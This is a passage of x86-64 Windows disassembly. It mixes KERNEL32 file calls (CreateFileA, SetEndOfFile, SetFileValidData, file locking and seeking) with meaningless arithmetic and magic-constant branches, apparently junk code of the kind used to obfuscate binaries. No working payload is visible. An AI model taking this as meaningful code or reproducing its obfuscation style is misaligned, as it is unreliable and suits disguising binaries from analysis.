call qword [sym.imp.KERNEL32.dll_SetEndOfFile]
mov dword [rsp + 0x3518], eax
movsx eax, word [rsp + 0xeb0]
movsx ecx, word [rsp + 0xa6c]
or eax, ecx
mov rcx, qword [rsp + 0xad70]
mov word [rcx], ax
mov rax, qword [rsp + 0xad58]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0xad90]
movsx ecx, byte [rcx]
shl eax, cl
mov rcx, qword [rsp + 0xad58]
mov byte [rcx], al
mov rcx, qword [rsp + 0xadc0]
call qword [sym.imp.KERNEL32.dll_GetFileType]
mov dword [rsp + 0x3474], eax
movzx eax, byte [rsp + 0x150]
mov rcx, qword [rsp + 0xadb8]
movzx ecx, byte [rcx]
and eax, ecx
mov byte [rsp + 0x152], al
mov rax, qword [rsp + 0xad60]
movzx eax, word [rax]
mov rcx, qword [rsp + 0xad78]
movzx ecx, word [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0xad60]
mov word [rcx], ax
jmp 0x140006a79
movzx eax, byte [rsp + 0x150]
mov byte [rsp + 0x153], al
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0x400
mov dword [rsp + 0x20], 3
xor r9d, r9d
mov r8d, 8
mov edx, 0x80000000
lea rcx, str.crackerequivocated
call qword [sym.imp.KERNEL32.dll_CreateFileA]
mov qword [rsp + 0xade0], rax
lea rax, [rsp + 0xadd0]
mov qword [rsp + 0xade8], rax
mov dword [rsp + 0x355c], 0xc0cd
movsx eax, byte [rsp + 0x151]
mov rcx, qword [rsp + 0xad90]
movsx ecx, byte [rcx]
add eax, ecx
mov rcx, qword [rsp + 0xad58]
mov byte [rcx], al
mov eax, dword [rsp + 0x34c0]
add eax, 0x11
mov dword [rsp + 0x34c0], eax
mov eax, dword [rsp + 0x3444]
mov ecx, dword [rsp + 0x3450]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x34cc], eax
mov rcx, qword [rsp + 0xac90]
call qword [sym.imp.KERNEL32.dll_GetFileType]
mov dword [rsp + 0x3548], eax
mov rax, qword [rsp + 0xad98]
mov ecx, dword [rsp + 0x34b8]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0xad98]
mov dword [rcx], eax
mov dword [rsp + 0x20], 0xd8e
mov r9d, 0x22ad
mov r8d, 0x3a19
mov edx, 0x309b
mov rcx, qword [rsp + 0xacb8]
call qword [sym.imp.KERNEL32.dll_LockFile]
mov dword [rsp + 0x3468], eax
lea rdx, [rsp + 0x26ed8]
mov rcx, qword [rsp + 0xacb8]
call qword [sym.imp.KERNEL32.dll_GetFileInformationByHandle]
mov dword [rsp + 0x3554], eax
movzx eax, byte [rsp + 0x153]
mov rcx, qword [rsp + 0xad50]
movzx ecx, byte [rcx]
add eax, ecx
mov rcx, qword [rsp + 0xadb8]
mov byte [rcx], al
mov rax, qword [rsp + 0xad70]
movsx eax, word [rax]
movsx ecx, word [rsp + 0xa6c]
sub eax, ecx
mov rcx, qword [rsp + 0xad70]
mov word [rcx], ax
mov rcx, qword [rsp + 0xacb8]
call qword [sym.imp.KERNEL32.dll_GetFileType]
mov dword [rsp + 0x3560], eax
mov rax, qword [rsp + 0xad58]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0xad90]
movsx ecx, byte [rcx]
and eax, ecx
mov byte [rsp + 0x151], al
mov rax, qword [rsp + 0xad70]
movsx eax, word [rax]
movsx ecx, word [rsp + 0xa6c]
sub eax, ecx
mov word [section..data], ax
mov rax, qword [rsp + 0xad60]
movzx eax, word [rax]
mov rcx, qword [rsp + 0xad78]
movzx ecx, word [rcx]
shl eax, cl
mov word [rsp + 0xeac], ax
movabs rax, 0x4943f576bff5dde4
mov rcx, qword [rsp + 0xac80]
or rcx, rax
mov rax, rcx
mov qword [rsp + 0xa4c8], rax
mov eax, dword [rsp + 0x3444]
movzx ecx, al
mov eax, dword [rsp + 0x34cc]
shr eax, cl
mov dword [rsp + 0x3450], eax
lea rdx, [rsp + 0x346c]
mov rcx, qword [rsp + 0xada0]
call qword [sym.imp.KERNEL32.dll_GetFileSize]
mov dword [rsp + 0x34f4], eax
mov rax, qword [rsp + 0xace0]
mov rcx, qword [rsp + 0xacd8]
xor rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0xade8]
mov qword [rcx], rax
lea rdx, [rsp + 0xadf0]
mov rcx, qword [rsp + 0xac90]
call qword [sym.imp.KERNEL32.dll_GetFileSizeEx]
mov dword [rsp + 0x3554], eax
mov eax, dword [rsp + 0x34b8]
mov ecx, dword [rsp + 0x3534]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0xad98]
mov dword [rcx], eax
mov rax, qword [rsp + 0xad90]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x151]
and eax, ecx
mov rcx, qword [rsp + 0xad90]
mov byte [rcx], al
mov rax, qword [rsp + 0xad70]
movsx eax, word [rax]
movsx ecx, word [rsp + 0xa6c]
add eax, ecx
mov word [rsp + 0xeb0], ax
mov edx, 0x11f2b0
mov rcx, qword [rsp + 0xade0]
call qword [sym.imp.KERNEL32.dll_SetFileValidData]
mov dword [rsp + 0x3464], eax
mov rax, qword [rsp + 0xad90]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0xad58]
movsx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x151], al
movzx eax, byte [rsp + 0x153]
mov rcx, qword [rsp + 0xad50]
movzx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x152], al
movsx eax, word [rsp + 0xeb0]
movsx ecx, word [rsp + 0xa6c]
sub eax, ecx
mov word [section..data], ax
movsx eax, word [rsp + 0xa6c]
movsx ecx, word [rsp + 0xeb0]
sub eax, ecx
mov rcx, qword [rsp + 0xad70]
mov word [rcx], ax
mov dword [rsp + 0x20], 0x1272
mov r9d, 0x1750
mov r8d, 0x457
mov edx, 0x1c3
mov rcx, qword [rsp + 0xac98]
call qword [sym.imp.KERNEL32.dll_LockFile]
mov dword [rsp + 0x34d4], eax
lea rdx, [rsp + 0x26ea0]
mov rcx, qword [rsp + 0xacb8]
call qword [sym.imp.KERNEL32.dll_GetFileInformationByHandle]
mov dword [rsp + 0x3458], eax
movzx eax, word [rsp + 0xea8]
movzx ecx, word [rsp + 0xeac]
add eax, ecx
mov rcx, qword [rsp + 0xad60]
mov word [rcx], ax
mov rax, qword [rsp + 0xad98]
mov ecx, dword [rsp + 0x34c4]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0xad98]
mov dword [rcx], eax
mov rax, qword [rsp + 0xacd8]
mov rcx, qword [rsp + 0xace0]
and rcx, rax
mov rax, rcx
mov qword [rsp + 0xadd0], rax
lea rdx, [rsp + 0xadf0]
mov rcx, qword [rsp + 0xac90]
call qword [sym.imp.KERNEL32.dll_GetFileSizeEx]
mov dword [rsp + 0x3564], eax
movzx eax, byte [rsp + 0x153]
movzx ecx, byte [rsp + 0x150]
sar eax, cl
mov byte [rsp + 0x152], al
mov edx, 0x391626
mov rcx, qword [rsp + 0xadc0]
call qword [sym.imp.KERNEL32.dll_SetFileValidData]
mov dword [rsp + 0x354c], eax
mov rax, qword [rsp + 0xad58]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0xad90]
movsx ecx, byte [rcx]
shl eax, cl
mov byte [rsp + 0x151], al
movzx eax, byte [rsp + 0x150]
mov rcx, qword [rsp + 0xad50]
movzx ecx, byte [rcx]
or eax, ecx
mov rcx, qword [rsp + 0xadb8]
mov byte [rcx], al
mov rax, qword [rsp + 0xad60]
movzx eax, word [rax]
movzx ecx, word [rsp + 0xea8]
xor eax, ecx
mov rcx, qword [rsp + 0xad78]
mov word [rcx], ax
mov rcx, qword [rsp + 0xadc0]
call qword [sym.imp.KERNEL32.dll_GetFileType]
mov dword [rsp + 0x3474], eax
xor r9d, r9d
lea r8, [rsp + 0xacc0]
mov rdx, qword [rsp + 0xadf8]
mov rcx, qword [rsp + 0xac98]
call qword [sym.imp.KERNEL32.dll_SetFilePointerEx]
mov dword [rsp + 0x3460], eax
mov rax, qword [rsp + 0xad70]
movsx eax, word [rax]
movsx ecx, word [rsp + 0xa6c]
add eax, ecx
mov rcx, qword [rsp + 0xad70]
mov word [rcx], ax
mov rcx, qword [rsp + 0xada0]
call qword [sym.imp.KERNEL32.dll_SetEndOfFile]
mov dword [rsp + 0x3518], eax
mov eax, dword [rsp + 0x350c]
mov ecx, dword [rsp + 0x34b8]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0xad98]
mov dword [rcx], eax
mov rax, qword [rsp + 0xad58]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x151]
and eax, ecx
mov rcx, qword [rsp + 0xad90]
mov byte [rcx], al
mov rax, qword [rsp + 0xacd8]
mov rcx, qword [rsp + 0xadd0]
add rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0xade8]
mov qword [rcx], rax
lea rdx, [rsp + 0x26f10]
mov rcx, qword [rsp + 0xadc0]
call qword [sym.imp.KERNEL32.dll_GetFileInformationByHandle]
mov dword [rsp + 0x3518], eax
cmp dword [rsp + 0x34c0], 0x9e4
jne 0x140006f8d
cmp dword [rsp + 0x3540], 0xc45a
jbe 0x1400077c4
mov rax, qword [rsp + 0xad58]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x151]
sub eax, ecx
mov rcx, qword [rsp + 0xad58]
mov byte [rcx], al
mov rax, qword [rsp + 0xad70]
movsx eax, word [rax]
movsx ecx, word [rsp + 0xeb0]
add eax, ecx
mov word [rsp + 0xa6c], ax
mov rax, qword [rsp + 0xad60]
movzx eax, word [rax]
movzx ecx, word [rsp + 0xeac]
add eax, ecx
mov word [rsp + 0xea8], ax
xor r9d, r9d
xor r8d, r8d
mov edx, 0x43b3
mov rcx, qword [rsp + 0xac90]
call qword [sym.imp.KERNEL32.dll_SetFilePointer]
mov dword [rsp + 0x3474], eax
movsx eax, word [rsp + 0xa6c]
movsx ecx, word [section..data]
sub eax, ecx
mov word [rsp + 0xeb0], ax
mov rax, qword [rsp + 0xadb8]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x150]
sub eax, ecx
mov rcx, qword [rsp + 0xadb8]
mov byte [rcx], al
movsx eax, word [rsp + 0xa6c]
movsx ecx, word [rsp + 0xeb0]
sub eax, ecx
mov word [section..data], ax
lea rdx, [rsp + 0xad88]
mov rcx, qword [rsp + 0xada0]
call qword [sym.imp.KERNEL32.dll_GetFileSizeEx]
mov dword [rsp + 0x3568], eax
movsx eax, word [rsp + 0xeb0]
movsx ecx, word [rsp + 0xa6c]
sub eax, ecx
mov rcx, qword [rsp + 0xad70]
mov word [rcx], ax
mov eax, dword [rsp + 0x3540]
sub eax, 0x36
mov dword [rsp + 0x3540], eax
mov rcx, qword [rsp + 0xadc0]
call qword [sym.imp.KERNEL32.dll_SetEndOfFile]
mov dword [rsp + 0x3470], eax
mov rax, qword [rsp + 0xade8]
mov rcx, qword [rsp + 0xadd0]
mov rax, qword [rax]
xor rax, rcx
mov qword [rsp + 0xace0], rax
mov rcx, qword [rsp + 0xacb8]
call qword [sym.imp.KERNEL32.dll_GetFileType]
mov dword [rsp + 0x34e0], eax
mov rax, qword [rsp + 0xad90]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x151]
or eax, ecx
mov rcx, qword [rsp + 0xad90]
mov byte [rcx], al
xor r9d, r9d
lea r8, [rsp + 0xadf8]
mov rdx, qword [rsp + 0xad68]
mov rcx, qword [rsp + 0xada0]
call qword [sym.imp.KERNEL32.dll_SetFilePointerEx]
mov dword [rsp + 0x356c], eax
lea rdx, [rsp + 0xacd0]
mov rcx, qword [rsp + 0xac98]
call qword [sym.imp.KERNEL32.dll_GetFileSizeEx]
mov dword [rsp + 0x3544], eax
mov rax, qword [rsp + 0xad60]
movzx eax, word [rax]
movzx ecx, word [rsp + 0xea8]
sar eax, cl
mov rcx, qword [rsp + 0xad78]
mov word [rcx], ax
mov eax, dword [rsp + 0x350c]
mov rcx, qword [rsp + 0xad98]
mov qword [rsp + 0xae00], rcx
movzx ecx, al
mov rax, qword [rsp + 0xae00]
mov eax, dword [rax]
shl eax, cl
mov dword [rsp + 0x34c4], eax
movzx eax, word [rsp + 0xea8]
mov rcx, qword [rsp + 0xad78]
movzx ecx, word [rcx]
and eax, ecx
mov word [rsp + 0xeac], ax
mov dword [rsp + 0x20], 0xd8e
mov r9d, 0x22ad
mov r8d, 0x3a19
mov edx, 0x309b
mov rcx, qword [rsp + 0xacb8]
call qword [sym.imp.KERNEL32.dll_UnlockFile]
mov dword [rsp + 0x3460], eax
mov rax, qword [rsp + 0xad58]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x151]
sub eax, ecx
mov rcx, qword [rsp + 0xad90]
mov byte [rcx], al
mov rax, qword [rsp + 0xadb8]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0xad50]
movzx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x150], al
movsx eax, word [rsp + 0xeb0]
mov rcx, qword [rsp + 0xad70]
movsx ecx, word [rcx]
and eax, ecx
mov word [section..data], ax
mov rax, qword [rsp + 0xad90]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0xad58]
movsx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x151], al
mov rcx, qword [rsp + 0xade0]
call qword [sym.imp.KERNEL32.dll_GetFileType]
mov dword [rsp + 0x3570], eax
jmp 0x1400074c7
lea rax, [rsp + 0x343c]
mov qword [rsp + 0xae08], rax
mov dword [rsp + 0x3574], 0x1d43
lea rax, [rsp + 0x350c]
mov qword [rsp + 0xae10], rax
mov rax, qword [rsp + 0xae08]
mov eax, dword [rax]
mov dword [rsp + 0x3578], eax
cmp dword [rsp + 0x3578], 0
je 0x140007820
cmp dword [rsp + 0x3578], 0xfcde6c3d
je 0x1401d8c53
jmp 0x1401d8d12
lea rdx, [rsp + 0x34f4]
mov rcx, qword [rsp + 0xada0]
call qword [sym.imp.KERNEL32.dll_GetFileSize]
mov dword [rsp + 0x357c], eax
mov rcx, qword [rsp + 0xac90]
call qword [sym.imp.KERNEL32.dll_SetEndOfFile]
mov dword [rsp + 0x3514], eax
movsx eax, word [rsp + 0xa6c]
movsx ecx, word [section..data]
sub eax, ecx
mov rcx, qword [rsp + 0xad70]
mov word [rcx], ax
movzx eax, word [rsp + 0xea8]
mov rcx, qword [rsp + 0xad60]
movzx ecx, word [rcx]
or eax, ecx
mov word [rsp + 0xeac], ax
xor r9d, r9d
lea r8, [rsp + 0xacd0]
mov rdx, qword [rsp + 0xadf8]
mov rcx, qword [rsp + 0xadc0]
call qword [sym.imp.KERNEL32.dll_SetFilePointerEx]
mov dword [rsp + 0x354c], eax
mov rax, qword [rsp + 0xad70]
movsx eax, word [rax]
movsx ecx, word [rsp + 0xa6c]
sar eax, cl
mov word [section..data], ax
movzx eax, word [rsp + 0xea8]
mov rcx, qword [rsp + 0xad60]
movzx ecx, word [rcx]
shl eax, cl
mov word [rsp + 0xeac], ax
movabs rax, 0xf0ba731328eb2a92
mov rcx, qword [rsp + 0xac80]
xor rcx, rax
mov rax, rcx
mov qword [rsp + 0xa4c8], rax
mov rax, qword [rsp + 0xade8]
mov rcx, qword [rsp + 0xacd8]
mov rax, qword [rax]
and rax, rcx
mov qword [rsp + 0xace0], rax
mov r9d, 1
xor r8d, r8d
mov edx, 0x39e
mov rcx, qword [rsp + 0xac98]
call qword [sym.imp.KERNEL32.dll_SetFilePointer]
mov dword [rsp + 0x3580], eax
mov rax, qword [rsp + 0xad98]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x34c4]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0xae10]
mov dword [rcx], eax
mov eax, dword [rsp + 0x3450]
mov ecx, dword [rsp + 0x3444]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0xae08]
mov dword [rcx], eax
mov rax, qword [rsp + 0xad90]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x151]
add eax, ecx
mov rcx, qword [rsp + 0xad58]
mov byte [rcx], al
mov rax, qword [rsp + 0xad50]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x150]
sub eax, ecx
mov rcx, qword [rsp + 0xadb8]
mov byte [rcx], al
movzx eax, word [rsp + 0xea8]
mov rcx, qword [rsp + 0xad60]
movzx ecx, word [rcx]
and eax, ecx
mov word [rsp + 0xeac], ax
movsx eax, word [rsp + 0xeb0]
movsx ecx, word [rsp + 0xa6c]
sub eax, ecx
mov word [section..data], ax
mov edx, 0x7625f
mov rcx, qword [rsp + 0xac98]
call qword [sym.imp.KERNEL32.dll_SetFileValidData]
mov dword [rsp + 0x3458], eax
lea rdx, [rsp + 0x3580]
mov rcx, qword [rsp + 0xade0]
call qword [sym.imp.KERNEL32.dll_GetFileSize]
mov dword [rsp + 0x34f4], eax
mov rax, qword [rsp + 0xad58]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0xad90]
movsx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x151], al
mov eax, dword [rsp + 0x34e4]
add eax, 0xcf
mov dword [rsp + 0x34e4], eax
mov rax, qword [rsp + 0xae10]
mov ecx, dword [rsp + 0x34c4]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0xae10]
mov dword [rcx], eax
movabs rax, 0x163e356475ca1c90
mov rcx, qword [rsp + 0xac80]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0xa4c8], rax
lea rdx, [rsp + 0x26ed8]
mov rcx, qword [rsp + 0xade0]
call qword [sym.imp.KERNEL32.dll_GetFileInformationByHandle]
mov dword [rsp + 0x3584], eax
mov r9d, 2
xor r8d, r8d
mov edx, 0xa71b
mov rcx, qword [rsp + 0xadc0]
call qword [sym.imp.KERNEL32.dll_SetFilePointer]
mov dword [rsp + 0x3500], eax
mov rcx, qword [rsp + 0xade0]
call qword [sym.imp.KERNEL32.dll_SetEndOfFile]
mov dword [rsp + 0x34ec], eax
mov rax, qword [rsp + 0xadd0]
movzx ecx, al
mov rax, qword [rsp + 0xace0]
shl rax, cl
mov rcx, qword [rsp + 0xade8]
mov qword [rcx], rax
xor r9d, r9d
xor r8d, r8d
mov edx, 0x1056
mov rcx, qword [rsp + 0xade0]
call qword [sym.imp.KERNEL32.dll_SetFilePointer]
mov dword [rsp + 0x346c], eax
mov rax, qword [rsp + 0xae08]
mov ecx, dword [rsp + 0x3450]
mov eax, dword [rax]
xor eax, ecx
mov dword [rsp + 0x3444], eax
mov rax, qword [rsp + 0xad90]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0xad58]
movsx ecx, byte [rcx]
or eax, ecx
mov byte [rsp + 0x151], al
movsx eax, word [rsp + 0xeb0]
movsx ecx, word [rsp + 0xa6c]
sar eax, cl
mov rcx, qword [rsp + 0xad70]
mov word [rcx], ax
mov rax, qword [rsp + 0xad50]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x150]
and eax, ecx
mov byte [rsp + 0x153], al
movsx eax, word [rsp + 0xa6c]
movsx ecx, word [rsp + 0xeb0]
sub eax, ecx
mov word [section..data], ax
cmp dword [rsp + 0x34e4], 0x7d9e
jb 0x14000783d
cmp dword [rsp + 0x34e8], 0x9adc
ja 0x14000818f
mov rax, qword [rsp + 0xad90]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0xad58]
movsx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x151], al
movsx eax, word [rsp + 0xeb0]
movsx ecx, word [rsp + 0xa6c]
add eax, ecx
mov rcx, qword [rsp + 0xad70]
mov word [rcx], ax
mov rax, qword [rsp + 0xade8]
mov rcx, qword [rsp + 0xace0]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0xadd0], rax
mov rax, qword [rsp + 0xad98]
mov ecx, dword [rsp + 0x350c]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x34c4], eax
mov rax, qword [rsp + 0xae08]
mov ecx, dword [rsp + 0x3450]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0x3444], eax
lea rdx, [rsp + 0x3588]
mov rcx, qword [rsp + 0xacb8]
call qword [sym.imp.KERNEL32.dll_GetFileSize]
mov dword [rsp + 0x3588], eax
mov rax, qword [rsp + 0xad60]
movzx eax, word [rax]
movzx ecx, word [rsp + 0xeac]
sub eax, ecx
mov word [rsp + 0xea8], ax
movzx eax, byte [rsp + 0x152]
movzx ecx, byte [rsp + 0x153]
add eax, ecx
mov rcx, qword [rsp + 0xadb8]
mov byte [rcx], al
mov rax, qword [rsp + 0xad70]
movsx eax, word [rax]
movsx ecx, word [rsp + 0xeb0]
add eax, ecx
mov rcx, qword [rsp + 0xad70]
mov word [rcx], ax
movsx eax, word [section..data]
movsx ecx, word [rsp + 0xa6c]
xor eax, ecx
mov rcx, qword [rsp + 0xad70]
mov word [rcx], ax
movzx eax, word [rsp + 0xea8]
mov rcx, qword [rsp + 0xad78]
movzx ecx, word [rcx]
sar eax, cl
mov rcx, qword [rsp + 0xad60]
mov word [rcx], ax
mov eax, dword [rsp + 0x34cc]
mov rcx, qword [rsp + 0xae08]
mov qword [rsp + 0xae18], rcx
movzx ecx, al
mov rax, qword [rsp + 0xae18]
mov eax, dword [rax]
shl eax, cl
mov rcx, qword [rsp + 0xae08]
mov dword [rcx], eax
mov rax, qword [rsp + 0xae08]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x343c]
or ecx, eax
mov eax, ecx
mov dword [rsp + 0x3444], eax
mov eax, dword [rsp + 0x3534]
mov ecx, dword [rsp + 0x34b8]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0x34c4], eax
lea rdx, [rsp + 0x26ed8]
mov rcx, qword [rsp + 0xac98]
call qword [sym.imp.KERNEL32.dll_GetFileInformationByHandle]
mov dword [rsp + 0x3460], eax
mov edx, 0x57cb98
mov rcx, qword [rsp + 0xade0]
call qword [sym.imp.KERNEL32.dll_SetFileValidData]
mov dword [rsp + 0x3458], eax
mov rax, qword [rsp + 0xace0]
mov rcx, qword [rsp + 0xacd8]
add rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0xade8]
mov qword [rcx], rax
mov rax, qword [rsp + 0xadb8]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x152]
add eax, ecx
mov rcx, qword [rsp + 0xad50]
mov byte [rcx], al
mov rax, qword [rsp + 0xad58]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0xad90]
movsx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x151], al
movsx eax, word [rsp + 0xa6c]
movsx ecx, word [section..data]
add eax, ecx
mov word [rsp + 0xeb0], ax
xor r9d, r9d
lea r8, [rsp + 0xad88]
mov rdx, qword [rsp + 0xadd8]
mov rcx, qword [rsp + 0xadc0]
call qword [sym.imp.KERNEL32.dll_SetFilePointerEx]
mov dword [rsp + 0x358c], eax
mov rax, qword [rsp + 0xad70]
movsx eax, word [rax]
movsx ecx, word [rsp + 0xeb0]
sub eax, ecx
mov word [section..data], ax
mov dword [rsp + 0x20], 0x16d2
mov r9d, 0x2222
mov r8d, 0x155e
mov edx, 0x14ac
mov rcx, qword [rsp + 0xadc0]
call qword [sym.imp.KERNEL32.dll_UnlockFile]
mov dword [rsp + 0x3564], eax
mov eax, dword [rsp + 0x34e8]
add eax, 0x7b
mov dword [rsp + 0x34e8], eax
mov rax, qword [rsp + 0xad90]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x151]
sub eax, ecx
mov rcx, qword [rsp + 0xad58]
mov byte [rcx], al
mov rax, qword [rsp + 0xae10]
mov ecx, dword [rsp + 0x3534]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0x350c], eax
mov rax, qword [rsp + 0xace0]
mov rcx, qword [rsp + 0xadd0]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0xacd8], rax
mov rcx, qword [rsp + 0xacb8]
call qword [sym.imp.KERNEL32.dll_SetEndOfFile]
mov dword [rsp + 0x3464], eax
mov eax, dword [rsp + 0x3444]
movzx ecx, al
mov eax, dword [rsp + 0x343c]
shr eax, cl
mov dword [rsp + 0x34cc], eax
mov rax, qword [rsp + 0xa4c8]
shl rax, 0x3d
mov qword [rsp + 0xac80], rax
mov rax, qword [rsp + 0xad70]
movsx eax, word [rax]
movsx ecx, word [rsp + 0xeb0]
xor eax, ecx
mov rcx, qword [rsp + 0xad70]
mov word [rcx], ax
lea rdx, [rsp + 0x26f48]
mov rcx, qword [rsp + 0xadc0]
call qword [sym.imp.KERNEL32.dll_GetFileInformationByHandle]
mov dword [rsp + 0x3458], eax
lea rdx, [rsp + 0xad88]
mov rcx, qword [rsp + 0xada0]
call qword [sym.imp.KERNEL32.dll_GetFileSizeEx]
mov dword [rsp + 0x3544], eax
xor r9d, r9d
xor r8d, r8d
mov edx, 0xfff
mov rcx, qword [rsp + 0xada0]
call qword [sym.imp.KERNEL32.dll_SetFilePointer]
mov dword [rsp + 0x3500], eax
mov rax, qword [rsp + 0xad58]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0xad90]
movsx ecx, byte [rcx]
or eax, ecx
mov byte [rsp + 0x151], al
movzx eax, word [rsp + 0xea8]
mov rcx, qword [rsp + 0xad78]
movzx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0xeac], ax
movsx eax, word [rsp + 0xeb0]
mov rcx, qword [rsp + 0xad70]
movsx ecx, word [rcx]
and eax, ecx
mov word [section..data], ax
mov qword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0x1d4d
mov r9d, 0x1103
mov r8d, 0x9ac1718b
mov edx, 1
mov rcx, qword [rsp + 0xada0]
call qword [sym.imp.KERNEL32.dll_LockFileEx]
mov dword [rsp + 0x3590], eax
lea rdx, [rsp + 0xadf0]
mov rcx, qword [rsp + 0xadc0]
call qword [sym.imp.KERNEL32.dll_GetFileSizeEx]
mov dword [rsp + 0x3468], eax
movzx eax, byte [rsp + 0x153]
mov rcx, qword [rsp + 0xadb8]
movzx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x152], al
mov eax, dword [rsp + 0x34cc]
mov ecx, dword [rsp + 0x3444]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x3450], eax
mov r9d, 2
xor r8d, r8d
mov edx, 0x7caa
mov rcx, qword [rsp + 0xacb8]
call qword [sym.imp.KERNEL32.dll_SetFilePointer]
mov dword [rsp + 0x357c], eax
lea rdx, [rsp + 0xae20]
mov rcx, qword [rsp + 0xada0]
call qword [sym.imp.KERNEL32.dll_GetFileSizeEx]
mov dword [rsp + 0x34ec], eax
mov eax, dword [rsp + 0x3534]
mov ecx, dword [rsp + 0x34b8]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x34c4], eax
movabs rax, 0x7be4c5a4a4c0ab18
mov rcx, qword [rsp + 0xac80]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0xa4c8], rax
mov rax, qword [rsp + 0xadd0]
mov rcx, qword [rsp + 0xacd8]
add rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0xade8]
mov qword [rcx], rax
movzx eax, word [rsp + 0xeac]
mov rcx, qword [rsp + 0xad60]
movzx ecx, word [rcx]
add eax, ecx
mov rcx, qword [rsp + 0xad78]
mov word [rcx], ax
mov rax, qword [rsp + 0xad90]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0xad58]
movsx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x151], al
jmp 0x140007bd4
mov edx, 0x4612fe
mov rcx, qword [rsp + 0xada0]
call qword [sym.imp.KERNEL32.dll_SetFileValidData]
mov dword [rsp + 0x3584], eax
mov rax, qword [rsp + 0xad50]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0xadb8]
movzx ecx, byte [rcx]
and eax, ecx
mov rcx, qword [rsp + 0xad50]
mov byte [rcx], al
movsx eax, word [rsp + 0xeb0]
movsx ecx, word [rsp + 0xa6c]
shl eax, cl
mov rcx, qword [rsp + 0xad70]
mov word [rcx], ax
mov eax, dword [rsp + 0x3454]
sub eax, 0x72
mov dword [rsp + 0x3454], eax
mov rax, qword [rsp + 0xad90]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0xad58]
movsx ecx, byte [rcx]
sar eax, cl
mov byte [rsp + 0x151], al
mov eax, dword [rsp + 0x343c]
mov ecx, dword [rsp + 0x34cc]
or ecx, eax
mov eax, ecx
mov dword [rsp + 0x3450], eax
movabs rax, 0xd2e2844b4e5dbbf8
mov rcx, qword [rsp + 0xa4c8]
xor rcx, rax
mov rax, rcx
mov qword [rsp + 0xac80], rax
lea rdx, [rsp + 0x26f48]
mov rcx, qword [rsp + 0xada0]
call qword [sym.imp.KERNEL32.dll_GetFileInformationByHandle]
mov dword [rsp + 0x3460], eax
mov rax, qword [rsp + 0xade8]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xadd0]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0xacd8], rax
mov rax, qword [rsp + 0xae10]
mov ecx, dword [rsp + 0x34b8]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0xad98]
mov dword [rcx], eax
mov qword [rsp + 0x20], 0
mov r9d, 0x1d4d
mov r8d, 0x1103
mov edx, 0x56
mov rcx, qword [rsp + 0xada0]
call qword [sym.imp.KERNEL32.dll_UnlockFileEx]
mov dword [rsp + 0x356c], eax
movsx eax, word [rsp + 0xeb0]
movsx ecx, word [rsp + 0xa6c]
and eax, ecx
mov rcx, qword [rsp + 0xad70]
mov word [rcx], ax
movzx eax, word [rsp + 0xeac]
mov rcx, qword [rsp + 0xad60]
movzx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0xea8], ax
mov r9d, 2
xor r8d, r8d
mov edx, 0x7aa2
mov rcx, qword [rsp + 0xac90]
